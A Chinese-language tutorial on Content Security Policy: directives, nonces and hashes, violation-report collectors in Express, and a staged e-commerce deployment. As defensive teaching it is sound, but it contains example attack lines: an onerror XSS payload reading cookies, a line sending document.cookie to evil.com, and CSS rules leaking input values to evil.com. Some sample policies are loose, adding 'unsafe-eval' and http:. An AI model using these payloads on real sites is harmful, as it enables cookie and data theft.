文章

CSP内容安全策略深度解析:从策略配置到违规监控的全链路实践

CSP内容安全策略深度解析:从策略配置到违规监控的全链路实践

一句话概括

CSP(Content Security Policy,内容安全策略)是一种由浏览器执行的、通过白名单机制防御XSS和数据注入攻击的安全层,它从根本上改变了”浏览器信任所有内容”的安全模型。

背景与意义

2025年8月,一个广泛使用的npm包被注入了挖矿脚本,导致数千个网站受到影响。其中受到影响最小的网站,其用户浏览器无端消耗了大量CPU资源;最严重的,用户的登录凭证通过内存读取直接泄露。事后分析发现,这些受害站点中超过70%没有配置CSP,剩下的30%虽然配置了CSP,但策略过于宽松(大量使用了'unsafe-inline'*),形同虚设。

这个案例深刻地揭示了一个现实:在2026年的前端开发中,CSP不再是”可选项”,而是”必选项”。随着供应链攻击事件在2024-2025年增长了320%(根据Snyk 2025年开源安全报告),传统的输入过滤和输出转义已经无法单独应对日益复杂的安全威胁。

CSP的核心理念很简单:把安全决策权从文档层面提升到HTTP响应头层面。即使页面HTML中的<script>标签被注入了恶意代码,如果它不匹配CSP中声明的脚本源,浏览器就不会执行它。这是一种”即使门没锁好,也会有第二道保险”的纵深防御思想。

概念与定义

CSP是什么

Content Security Policy(CSP)是一个HTTP响应头,它告诉浏览器允许加载和执行哪些来源的资源。它不是一个编程接口,而是一组声明式规则,由浏览器负责执行。

1
2
HTTP响应中的CSP头:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; img-src *; style-src 'self' 'unsafe-inline'

浏览器执行策略时,会对每个资源的加载请求逐一检查,不匹配的策略将导致资源被阻止,并将违规行为上报给指定的报告端点。

CSP vs XSS防护

维度传统XSS防护(输入过滤/输出转义)CSP
工作方式在服务端处理用户输入在浏览器端执行策略
防御时机内容生成时内容加载时
覆盖范围仅为当前应用所有资源(脚本、样式、图片、字体等)
错误容忍一个遗漏就可能导致漏洞策略严格时即使有漏洞也会被阻断
实现成本中(需要修改所有输入/输出点)低(配置HTTP头即可)
维护成本中(需要持续监控违规报告)

CSP策略的两种传递方式

  1. HTTP响应头(推荐方式):
    1
    
    Content-Security-Policy: script-src 'self'
    
  2. HTML meta标签: ```html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
`<meta>`方式的限制:
- 某些指令(如 `frame-ancestors`、`sandbox`)不支持
- 无法使用报告功能
- 优先级低于HTTP响应头

## 最小示例:CSP的快速体验

### 场景:一个被XSS攻击的博客页面

```html
<!-- vulnerable-blog.html - 没有CSP的漏洞页面 -->
<!DOCTYPE html>
<html>
<head><title>我的博客</title></head>
<body>
  <h1>欢迎来到我的博客</h1>
  <div id="comment-section">
    <!-- 假设这是从数据库读取的用户评论 -->
    <!-- 攻击者输入的评论包含恶意脚本 -->
    <p>这篇文章写得很好!</p>
    <p>同意楼上!</p>
    
    <!-- 已保存的恶意评论:<img src=x onerror="alert('XSS!')"> -->
    <!-- 由于没有输出转义,这段代码进入了页面 -->
    <p>来看看这个<img src=x onerror="alert('XSS攻击成功!恶意代码已执行\n\npayload: document.cookie=' + document.cookie)">图片</p>
  </div>
</body>
</html>

添加CSP防护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!-- csp-protected-blog.html - 受CSP保护的页面 -->
<!DOCTYPE html>
<html>
<head>
  <title>我的博客(安全版)</title>
  <!-- CSP策略:只允许同源的脚本执行 -->
  <meta http-equiv="Content-Security-Policy" 
        content="default-src 'self'; script-src 'self'">
</head>
<body>
  <h1>欢迎来到安全博客</h1>
  
  <!-- 合法脚本(同源)可以正常执行 -->
  <script src="/js/analytics.js"></script>
  
  <div id="comment-section">
    <p>这篇文章写得很好!</p>
    
    <!-- 攻击者的评论同样包含恶意代码 -->
    <!-- 但由于CSP策略限制了script-src为'self' -->
    <!-- onerror内联事件处理程序被浏览器阻止 -->
    <p>来看看这个<img src=x onerror="alert('XSS!')">图片</p>
    
    <script>
      console.log('同源内联脚本');
      // 注意:在严格CSP策略中,即使同源的内联脚本也会被阻止!
      // 需要配合 'unsafe-inline' 或 nonce/hash 才能执行
    </script>
  </div>
  
  <script>
    // 只有通过nonce或hash或在'unsafe-inline'下的内联脚本才能执行
  </script>
</body>
</html>

注意:在严格的CSP配置中,即使内联在HTML中的<script>标签也无法执行(除非使用nonce或hash)。这正是CSP强大的原因——它彻底杜绝了XSS的脚本执行。

核心知识点拆解

1. CSP指令体系

CSP指令分为两大类:获取指令(Fetch Directives)文档指令(Document Directives)

获取指令

这些指令控制特定类型资源的加载来源:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Content-Security-Policy:
  # 默认策略(适用于所有未显式指定获取指令的资源类型)
  default-src 'self';
  
  # 脚本来源(包括JavaScript、WebAssembly、事件处理程序)
  script-src 'self' https://cdn.example.com;
  
  # 样式来源
  style-src 'self' 'unsafe-inline';
  
  # 图片来源
  img-src 'self' https://images.example.com data: blob:;
  
  # 字体来源
  font-src 'self' https://fonts.gstatic.com;
  
  # 连接来源(fetch, XHR, WebSocket, EventSource)
  connect-src 'self' https://api.example.com wss://socket.example.com;
  
  # 媒体资源(音频、视频)
  media-src 'self' https://videos.example.com;
  
  # 对象/插件资源(<object>, <embed>, <applet>)
  object-src 'none';
  
  # 字体资源
  font-src 'self' https://fonts.googleapis.com;
  
  # 框架加载的资源
  frame-src 'self' https://www.youtube.com;
  
  # manifest.json
  manifest-src 'self';
  
  # worker脚本
  worker-src 'self' blob:;

文档指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Content-Security-Policy:
  # 允许嵌套的父级来源(防点击劫持)
  frame-ancestors 'self' https://trusted-parent.com;
  
  # 为页面设置沙箱
  sandbox allow-forms allow-scripts;
  
  # 导航来源
  navigate-to 'self' https://trusted-site.com;
  
  # 基础URI限制
  base-uri 'self';
  
  # form表单提交的目标
  form-action 'self' https://api.example.com;

指令来源表达式

表达式含义示例
'none'不匹配任何来源script-src 'none' — 禁止所有脚本
'self'当前源(同协议、同域名、同端口)script-src 'self'
*所有源img-src *
https:仅HTTPS协议script-src https:
example.com指定域名script-src example.com
*.example.com子域名通配script-src *.example.com
https://cdn.example.comURL精确匹配script-src https://cdn.example.com
'unsafe-inline'允许内联脚本/样式有安全隐患
'unsafe-eval'允许eval()有安全隐患
'nonce-<base64>'一次性随机数script-src 'nonce-r@nd0m'
'<hash-algorithm>-<base64>'哈希值script-src 'sha256-abc123...'
data:data: URIimg-src data:
blob:blob: URIscript-src blob:

2. Nonce与Hash——现代CSP的核心

传统的'unsafe-inline'完全放弃了内联脚本的保护。Nonce和Hash是CSP Level 2引入的、允许特定内联脚本执行的机制。

Nonce(一次性的随机数)

1
Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'
1
2
3
4
5
6
7
8
9
<!-- 只有 nonce 匹配的脚本才能执行 -->
<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">
  console.log('这个脚本可以执行');
</script>

<!-- 这个脚本没有 nonce,被阻止 -->
<script>
  console.log('这个脚本被阻止');
</script>

Nonce的生成规则

  1. 每次响应必须重新生成:每个HTTP响应都应使用不同的nonce值
  2. 足够随机:至少128位(16字节)的加密级随机数
  3. 不可预测:使用crypto.randomBytes() 而非 Math.random()

Hash(脚本内容的哈希值)

1
Content-Security-Policy: script-src 'sha256-WZ4ER7EflCQbC1H3KNEHqA4q9JzrsnC1VPjRxVFYwSI='
1
2
3
4
<!-- 只有内容哈希匹配的脚本才能执行 -->
<script>alert('Hello, world!');</script>
<!-- 浏览器计算这个脚本的SHA-256哈希 -->
<!-- 如果匹配策略中的哈希值,脚本执行;否则阻止 -->

Hash的计算方式

1
2
3
4
5
6
7
8
9
10
11
// Node.js中计算CSP hash
const crypto = require('crypto');

function computeScriptHash(code, algorithm = 'sha256') {
  const hash = crypto.createHash(algorithm);
  hash.update(code, 'utf-8');
  return algorithm + '-' + hash.digest('base64');
}

console.log(computeScriptHash("alert('Hello, world!');"));
// 输出: sha256-WZ4ER7EflCQbC1H3KNEHqA4q9JzrsnC1VPjRxVFYwSI=

Nonce vs Hash 的选择

对比维度NonceHash
动态内容支持(每次生成新nonce)不支持(hash对应固定内容)
缓存友好不友好(每个响应都要换)友好(hash固定)
多脚本只需一个nonce每个脚本都要预先计算hash
第三方CDN脚本无法直接使用可以计算CDN脚本的hash
服务端开销需要生成随机数只需要配置一次
安全性高(每次变换)中(脚本内容不变)

3. CSP违规报告机制

CSP最强功能之一:违规时不仅会阻止加载,还会向指定的报告端点发送详细的违规报告

1
2
3
4
5
6
# CSP Level 2 报告(report-uri)
Content-Security-Policy: default-src 'self'; report-uri /csp-report

# CSP Level 3 报告(report-to)
Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"https://report.example.com/csp"}]}

违规报告格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
  "csp-report": {
    "document-uri": "https://example.com/page-with-xss",
    "referrer": "https://evil.com",
    "blocked-uri": "https://evil.com/malware.js",
    "violated-directive": "script-src 'self'",
    "effective-directive": "script-src",
    "original-policy": "default-src 'self'; script-src 'self'; report-uri /csp-report",
    "script-sample": "alert('xss')",
    "status-code": 200,
    "source-file": "https://evil.com/#xss-payload",
    "line-number": 1,
    "column-number": 1
  }
}

收集违规报告的服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// csp-report-collector.js
const express = require('express');
const fs = require('fs');
const path = require('path');

const app = express();

// CSP Level 2 报告端点(POST请求,Content-Type: application/csp-report)
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
  const report = req.body['csp-report'];
  const logEntry = {
    timestamp: new Date().toISOString(),
    documentUri: report['document-uri'],
    blockedUri: report['blocked-uri'],
    violatedDirective: report['violated-directive'],
    sourceFile: report['source-file'] || 'N/A',
    lineNumber: report['line-number'],
    columnNumber: report['column-number'],
    ip: req.ip
  };
  
  // 写入日志文件
  fs.appendFileSync(
    path.join(__dirname, 'csp-violations.log'),
    JSON.stringify(logEntry) + '\n'
  );
  
  // 实时告警(可选)
  if (report['blocked-uri']?.startsWith('https://evil')) {
    console.warn('⚠️ 可疑的CSP违规:', logEntry);
    // 发送告警到监控系统...
  }
  
  res.status(200).json({ status: 'ok' });
});

// CSP Level 3 报告端点(POST, Content-Type: application/reports+json)
app.post('/csp-reports', express.json({ type: 'application/reports+json' }), (req, res) => {
  const reports = Array.isArray(req.body) ? req.body : [req.body];
  
  for (const report of reports) {
    const cspReport = report.body;
    console.log('CSP Violation:', {
      url: cspReport.documentURL,
      blocked: cspReport.blockedURL,
      directive: cspReport.violatedDirective
    });
  }
  
  res.status(200).end();
});

app.listen(3001, () => {
  console.log('CSP报表收集服务运行在 :3001');
});

4. 策略配置的最佳实践

严格CSP配方(推荐方案)

1
2
3
4
5
6
7
8
9
10
11
12
Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-{random}' 'strict-dynamic' 'unsafe-inline' https:;
  style-src 'self' 'nonce-{random}' 'unsafe-inline';
  img-src 'self' data: blob: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  object-src 'none';
  report-uri /csp-report;

解释

  • default-src 'none' — 不信任任何未明确声明的资源类型
  • script-src 使用nonce + 'strict-dynamic' — 信任所有由已验证脚本加载的脚本
  • 'unsafe-inline' 在nonce存在时是降级兼容(旧版浏览器忽略nonce)
  • frame-ancestors 'none' — 禁止被嵌入到iframe中(防点击劫持)
  • base-uri 'self' — 防止通过<base>标签篡改相对URL
  • object-src 'none' — 禁止Flash等插件

实战案例:电商平台的全量CSP部署

背景

假设我们有一个大型电商平台,它使用:

  • React (SPA) 前端,使用CDN分发
  • Google Analytics、Facebook Pixel等第三方分析脚本
  • 内联脚本、内联样式
  • WebSocket实时推送通知
  • 用户生成内容(评论、商品图片)
  • A/B测试工具(如 Google Optimize)

我们一步步为这个真实场景配置并部署CSP。

步骤1:创建宽松的报告模式策略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
// csp-deployment.js - 电商平台CSP配置系统
const crypto = require('crypto');

class CSPBuilder {
  constructor(options = {}) {
    this.directives = {};
    this.reportUri = options.reportUri || '/csp/report';
    this.generateNonce();
  }

  generateNonce() {
    this.nonce = crypto.randomBytes(16).toString('base64url');
    return this.nonce;
  }

  // 构建完整的CSP头
  build(mode = 'enforce') {
    // 基础策略
    const policy = [
      `default-src 'none'`,
      `script-src 'nonce-${this.nonce}' 'strict-dynamic' 'unsafe-inline' https: http: 'unsafe-eval'`,
      `style-src 'self' 'unsafe-inline' https://fonts.googleapis.com`,
      `img-src 'self' data: blob: https: http:`,
      `font-src 'self' https://fonts.gstatic.com data:`,
      `connect-src 'self' ws://localhost:3009 wss://*.pusher.com https://api.example.com`,
      `frame-src 'self' https://www.youtube.com https://player.vimeo.com`,
      `frame-ancestors 'none'`,
      `base-uri 'self'`,
      `form-action 'self' https://checkout.example.com`,
      `object-src 'none'`,
      `media-src 'self' https://videos.cdn.example.com`,
      `worker-src 'self' blob:`,
      `report-uri ${this.reportUri}`
    ];

    if (mode === 'report-only') {
      return `Content-Security-Policy-Report-Only: ${policy.join('; ')}`;
    }
    
    return `Content-Security-Policy: ${policy.join('; ')}`;
  }

  getHeaders(mode = 'enforce') {
    const prefix = mode === 'report-only' 
      ? 'Content-Security-Policy-Report-Only'
      : 'Content-Security-Policy';
    
    return {
      [prefix]: this.buildContent(),
      'X-CSP-Nonce': this.nonce
    };
  }

  buildContent() {
    // 使用 mode 参数
    return [
      `default-src 'none'`,
      `script-src 'nonce-${this.nonce}' 'strict-dynamic' 'unsafe-inline' https: http:`,
      `style-src 'self' 'unsafe-inline' https://fonts.googleapis.com`,
      `img-src 'self' data: blob: https: http:`,
      `font-src 'self' https://fonts.gstatic.com data:`,
      `connect-src 'self' ws://localhost:3009 wss://*.pusher.com https://api.example.com`,
      `frame-src 'self' https://www.youtube.com https://player.vimeo.com`,
      `frame-ancestors 'none'`,
      `base-uri 'self'`,
      `form-action 'self' https://checkout.example.com`,
      `object-src 'none'`,
      `report-uri ${this.reportUri}`
    ].join('; ');
  }
}

// Express中间件
const express = require('express');
const app = express();

// CSP中间件(动态nonce)
app.use((req, res, next) => {
  const csp = new CSPBuilder({ reportUri: '/api/csp/report' });
  const nonce = csp.generateNonce();
  
  // store nonce for view rendering
  res.locals.nonce = nonce;
  res.setHeader('Content-Security-Policy', csp.buildContent());
  
  next();
});

// 页面渲染
app.get('/', (req, res) => {
  const { nonce } = res.locals;
  
  res.send(`
    <!DOCTYPE html>
    <html>
    <head>
      <title>电商平台 - 安全版</title>
      <script nonce="${nonce}">
        // 这个内联脚本因为nonce匹配,可以执行
        window.__INITIAL_STATE__ = {
          user: { id: 12345, name: '用户' },
          cartCount: 2,
          csrfToken: 'abc-def-ghi'
        };
        
        // 加载应用主脚本
        const script = document.createElement('script');
        script.src = '/js/app.bundle.js';
        script.setAttribute('nonce', '${nonce}');
        document.head.appendChild(script);
      </script>
      
      <script nonce="${nonce}" src="https://www.googletagmanager.com/gtag/js?id=GA-XXXXX"></script>
      
      <style nonce="${nonce}">
        /* 关键内联样式,通过nonce允许 */
        .loading-skeleton { background: linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%); }
      </style>
    </head>
    <body>
      <div id="root"></div>
      
      <!-- 第三方分析脚本,通过nonce允许 -->
      <script nonce="${nonce}">
        // Facebook Pixel
        !function(f,b,e,v,n,t,s)
        {if(f.fbq)return;n=f.fbq=function(){n.callMethod?
        n.callMethod.apply(n,arguments):n.queue.push(arguments)};
        if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
        n.queue=[];t=b.createElement(e);t.async=!0;
        t.src=v;s=b.getElementsByTagName(e)[0];
        s.parentNode.insertBefore(t,s)}(window, document,'script',
        'https://connect.facebook.net/en_US/fbevents.js');
        fbq('init', 'FB_PIXEL_ID');
        fbq('track', 'PageView');
      </script>
    </body>
    </html>
  `);
});

步骤2:收集和分析CSP违规

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
// csp-monitor.js - 生产环境CSP违规监控
const express = require('express');
const path = require('path');
const fs = require('fs');

class CSPMonitor {
  constructor(options = {}) {
    this.reports = [];
    this.whitelist = options.whitelist || [];
    this.alertThreshold = options.alertThreshold || 100; // 每分钟超过100次违规告警
    this.violationCounts = {};
    
    // 定期清理和报告
    setInterval(() => this.aggregateAndReport(), 60000);
  }

  handleReport(req, res) {
    let reportData;
    
    // CSP Level 2格式
    if (req.is('application/csp-report')) {
      reportData = req.body['csp-report'];
    } 
    // CSP Level 3格式
    else if (req.is('application/reports+json')) {
      const report = Array.isArray(req.body) ? req.body[0] : req.body;
      reportData = report.body;
    } else {
      return res.status(400).json({ error: 'Invalid report format' });
    }
    
    const violation = this.normalizeReport(reportData);
    this.reports.push(violation);
    
    // 实时计数
    const minuteKey = `${Math.floor(Date.now() / 60000)}`;
    this.violationCounts[minuteKey] = (this.violationCounts[minuteKey] || 0) + 1;
    
    // 检查是否超出阈值
    if (this.violationCounts[minuteKey] > this.alertThreshold) {
      console.error(`🚨 CSP违规率异常!最近1分钟: ${this.violationCounts[minuteKey]}次`);
      this.alertOps(violation);
    }
    
    // 检查是否来自白名单(可能是已知的第三方脚本)
    const isWhitelisted = this.whitelist.some(w => 
      violation.blockedUri?.includes(w)
    );
    
    if (!isWhitelisted) {
      // 非白名单违规 → 可能是攻击或遗漏
      this.logSuspicious(violation);
    }
    
    res.status(204).end();
  }

  normalizeReport(report) {
    return {
      timestamp: new Date().toISOString(),
      documentUri: report['document-uri'] || report.documentURL,
      blockedUri: report['blocked-uri'] || report.blockedURL,
      violatedDirective: report['violated-directive'] || report.violatedDirective,
      sourceFile: report['source-file'] || report.sourceFile || 'unknown',
      lineNumber: report['line-number'] || report.lineNumber,
      columnNumber: report['column-number'] || report.columnNumber,
      scriptSample: report['script-sample'] || report.sample || '',
      disposition: report.disposition || 'enforce',
      userAgent: req?.headers?.['user-agent']
    };
  }

  logSuspicious(violation) {
    const logEntry = {
      severity: violation.disposition === 'report' ? 'WARNING' : 'BLOCKED',
      ...violation
    };
    
    console.warn('⚠️ CSP可疑活动:', JSON.stringify(logEntry, null, 2));
    
    fs.appendFileSync(
      path.join(__dirname, 'csp-suspicious.log'),
      JSON.stringify(logEntry) + '\n'
    );
  }

  aggregateAndReport() {
    if (this.reports.length === 0) return;
    
    // 按blocked URI聚合
    const grouped = {};
    for (const r of this.reports) {
      const key = r.blockedUri || 'unknown';
      if (!grouped[key]) grouped[key] = [];
      grouped[key].push(r);
    }
    
    // 输出TOP违规
    const sorted = Object.entries(grouped)
      .sort((a, b) => b[1].length - a[1].length)
      .slice(0, 10);
    
    console.log('📊 CSP违规排行榜(本分钟):');
    for (const [uri, violations] of sorted) {
      console.log(`  ${violations.length}次 - ${uri.slice(0, 80)}`);
    }
    
    this.reports = [];
  }

  alertOps(violation) {
    // 发送到PagerDuty/Slack/邮件等
    // 此处为简化示例
  }
}

// Express路由
const app2 = express();
app2.use(express.json({
  type: ['application/csp-report', 'application/reports+json', 'application/json']
}));

const monitor = new CSPMonitor({
  whitelist: [
    'www.googletagmanager.com',
    'connect.facebook.net',
    'www.google-analytics.com'
  ],
  alertThreshold: 50
});

app2.post('/api/csp/report', (req, res) => monitor.handleReport(req, res));

// API查询违规历史
app2.get('/api/csp/violations', (req, res) => {
  const { type, since, limit = 100 } = req.query;
  let log = [];
  
  try {
    const data = fs.readFileSync('csp-suspicious.log', 'utf-8');
    log = data.trim().split('\n').map(l => JSON.parse(l));
    
    if (since) {
      log = log.filter(l => l.timestamp >= since);
    }
    
    if (type) {
      log = log.filter(l => l.blockedUri?.startsWith(type));
    }
  } catch(e) { /* log not exists yet */ }
  
  res.json({ total: log.length, violations: log.slice(0, limit) });
});

app2.listen(3002, () => {
  console.log('CSP监控服务运行在 :3002');
});

步骤3:从report-only过渡到enforce

1
2
3
4
5
6
7
8
9
10
11
12
部署策略:
1. Content-Security-Policy-Report-Only(监控阶段,1-2周)
   → 收集所有违规,分析是否是误报
   → 调整策略:添加合法的第三方来源,移除不必要的限制
   
2. Content-Security-Policy(强制阶段)
   → 按monitoring阶段调整后的策略执行
   → 持续监控report-uri,发现新的误报及时调整
   
3. Content-Security-Policy + 'report-sample'(最佳实践)
   → 在script-src和style-src中添加'report-sample'
   → 违规报告会包含前40个字符的被阻止内容样本

底层原理:浏览器如何执行CSP

1. CSP处理管线(Chromium源码分析)

CSP在Chromium中的执行分为三个阶段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
HTTP响应到达
    │
    ▼
第一阶段:CSP解析(blink/renderer/core/fetch/)
    │
    ├─ 解析 Content-Security-Policy 头
    │   ├─ 将字符串拆分为指令列表
    │   ├─ 解析每个指令的来源表达式
    │   └─ 构建 CSPDirective 对象列表
    │
    ▼
第二阶段:CSP注册(ContentSecurityPolicy.cpp)
    │
    ├─ 将解析结果添加到 ContentSecurityPolicy 对象
    ├─ 与通过meta标签配置的策略合并
    └─ 触发 report-only 策略的初始化
    │
    ▼
第三阶段:资源加载检查(每个资源请求都会触发)
    │
    ├─ 资源加载请求 → ContentSecurityPolicy::AllowResource()
    │   ├─ 获取资源的类型(script, style, image...)
    │   ├─ 匹配对应的CSP指令
    │   ├─ 检查请求URL是否匹配来源表达式
    │   └─ 返回 allow/deny 决策
    │
    ├─ 内联脚本执行 → ContentSecurityPolicy::AllowInline()
    │   ├─ 检查hash(如果设置了)
    │   ├─ 检查nonce(如果设置了)
    │   └─ 检查'unsafe-inline'(如果设置了)
    │
    └─ 违规时:
        ├─ 阻止资源加载
        ├─ 构建 CSPViolationReport 对象
        └─ 发送违规报告

2. strict-dynamic 的传播机制

'strict-dynamic'(CSP Level 3)是CSP最重要的改进之一。它的工作原理是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!-- 脚本A:通过nonce验证 -->
<script nonce="ABC" src="/app.js"></script>

<!-- app.js 中动态创建了以下脚本 -->
<script>
  // 这是脚本A(已通过nonce验证)动态创建的脚本B
  const s = document.createElement('script');
  s.src = '/dynamic-module.js';
  document.head.appendChild(s);
  
  // 脚本B虽然没有nonce,但因为被已验证的脚本加载
  // 且CSP中有'strict-dynamic',所以脚本B也可以执行
</script>

<!-- 但是攻击者注入的脚本依然被阻止 -->
<script>
  // 这个脚本没有nonce,且不是由已验证脚本创建的
  // 所以被浏览器阻止
  new Image().src = 'https://evil.com/steal?cookie=' + document.cookie;
</script>

strict-dynamic的设计原则

1
2
3
4
5
6
7
8
9
10
11
信任传递(Trust Propagation):
已验证脚本(通过nonce/hash)
    ↓ 可以动态加载
已验证脚本的子脚本
    ↓ 也可以继续加载
更多子脚本
    ↓
......

但只有通过已验证脚本链条加载的脚本才被信任。
攻击者直接注入的脚本(不在信任链条中)不被信任。

3. CSP与Service Worker的交互

Service Worker可以拦截网络请求,这可能会绕过CSP的检查:

1
2
3
4
5
6
7
8
9
10
11
// sw.js - Service Worker
self.addEventListener('fetch', event => {
  // Service Worker可以返回任意内容
  // 但它不能绕过CSP对结果资源的检查
  
  if (event.request.url.endsWith('evil.js')) {
    // 即使SW返回了合法内容
    // 浏览器依然会用CSP策略检查这个响应
    event.respondWith(fetch('/safe.js'));
  }
});

注意:Service Worker的importScripts()受CSP约束,但SW自身的注册不受CSP script-src的限制(它通过worker-src控制)。

4. CSP的降级方案

CSP存在浏览器兼容性问题。一个安全的CSP配置需要处理旧版浏览器:

1
2
3
4
5
6
7
8
9
10
# 现代浏览器使用 nonce
# 旧版浏览器(Chrome < 40, Firefox < 31)忽略 nonce
# 所以需要保留 'unsafe-inline' 作为降级

# 同时存在时,浏览器行为:
# - 支持nonce的浏览器:nonce生效,'unsafe-inline'被忽略
# - 不支持nonce的浏览器:忽略nonce,回退到'unsafe-inline'

Content-Security-Policy:
  script-src 'nonce-abc123' 'unsafe-inline';

高频面试题解析

面试题1:CSP中的 'strict-dynamic' 在什么场景下会带来安全风险?如何限制它的传播范围?

答案

'strict-dynamic' 本身是安全的增强机制,但在以下场景可能引入风险:

风险场景1:Web Component / Shadow DOM

如果'strict-dynamic'信任的脚本中加载了第三方Web Component,这个组件动态创建的任何脚本都会被信任。如果第三方组件存在安全问题(比如依赖一个被污染的CDN资源),信任会沿着链条传播。

1
2
3
4
5
6
7
8
9
// 已验证脚本(通过nonce)
import('https://third-party-widget.com/widget.js');

// widget.js内部
const s = document.createElement('script');
s.src = 'https://third-party-widget.com/analytics.js';
document.head.appendChild(s);
// analytics.js 因为strict-dynamic而被信任
// 如果analytics.js被攻击者篡改 → 安全链断裂

风险场景2:eval'strict-dynamic' 共存

如果同时使用了'unsafe-eval',已经在信任链中的脚本可以执行eval(),攻击者如果通过某种方式控制了这个脚本内部逻辑,就可以通过eval()执行任意代码。

限制传播的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 方法1:不单独使用strict-dynamic,配合URL白名单
Content-Security-Policy:
  script-src 'nonce-abc123' 'strict-dynamic' https://trusted-cdn.example.com;
  # ↑ strict-dynamic 的信任传播范围被URL白名单限制
  
# 方法2:使用strict-dynamic但不信任https:
# 注意:strict-dynamic规范要求如果使用了strict-dynamic,
# 就必须忽略白名单中的https:和*等通配符
# 所以配置中的https:为旧版浏览器降级使用

# 方法3:使用trusted-types(CSP Level 3扩展)
# 限制HTML注入到DOM中的内容
Content-Security-Policy:
  require-trusted-types-for 'script';
  trusted-types myPolicy;

面试题2:CSP能否防护JSONP劫持(JSONP injection/CSS injection)?如何配置?

答案

CSP对JSONP劫持的防护有限

JSONP注入的攻击方式:

1
2
<!-- 攻击者利用JSONP接口来获取用户数据 -->
<script src="https://target.com/user/info?callback=leakData"></script>

要阻止JSONP劫持,需要在CSP中限制脚本来源,并且不能使用通配符:

1
2
3
4
5
# ❌ 不安全的配置(允许JSONP劫持)
Content-Security-Policy: script-src https://*.example.com;

# ✅ 安全的配置(精确限制)
Content-Security-Policy: script-src https://static.example.com https://cdn.example.com;

JSONP防护的关键点

  1. 如果CSP使用了'strict-dynamic' + nonce,但允许https:(作为旧版浏览器降级),攻击者仍然可以在旧版浏览器上利用JSONP

  2. 最佳实践:定期检查JavaScript端点的响应中是否包含用户特定的数据(如/user/data?callback=cb

CSS注入(CSS Injection)防护

1
2
3
4
5
<!-- 攻击者利用CSS注入窃取数据 -->
<style>
  input[value^="a"] { background: url(https://evil.com/exfil?a); }
  input[value^="b"] { background: url(https://evil.com/exfil?b); }
</style>
1
2
3
4
5
# 限制样式来源
Content-Security-Policy: style-src 'nonce-abc123';

# 或者使用hash
Content-Security-Policy: style-src 'sha256-...';

面试题3:在生产环境中渐进式部署CSP时,如何处理第三方脚本和工具(如Google Tag Manager、Hotjar、FullStory等)的兼容性问题?

答案

渐进式部署CSP时,第三方脚本是最常见的”违规源”。以下是针对不同工具的解决方案:

方案一:利用nonce + strict-dynamic

1
2
Content-Security-Policy:
  script-src 'nonce-server-generated' 'strict-dynamic';
1
2
3
4
5
6
7
8
9
10
11
<!-- Google Tag Manager 通过nonce加载 -->
<script nonce="server-generated">
  (function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
  new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
  j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;
  j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;
  f.parentNode.insertBefore(j,f);
  })(window,document,'script','dataLayer','GTM-XXXX');
</script>

<!-- GTM加载的脚本会通过strict-dynamic自动被信任 -->

方案二:建立白名单机制(适用于不支持strict-dynamic的CSP Level 2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Content-Security-Policy:
  script-src
    'nonce-server-generated'
    https://www.googletagmanager.com
    https://www.google-analytics.com
    https://*.hotjar.com
    https://*.fullstory.com
    https://connect.facebook.com;
  img-src
    'self'
    https://www.google-analytics.com
    https://*.hotjar.com
    https://*.fullstory.com
    https://www.facebook.com;
  connect-src
    'self'
    https://*.hotjar.com
    wss://*.hotjar.com
    https://*.fullstory.com
    wss://*.fullstory.com;

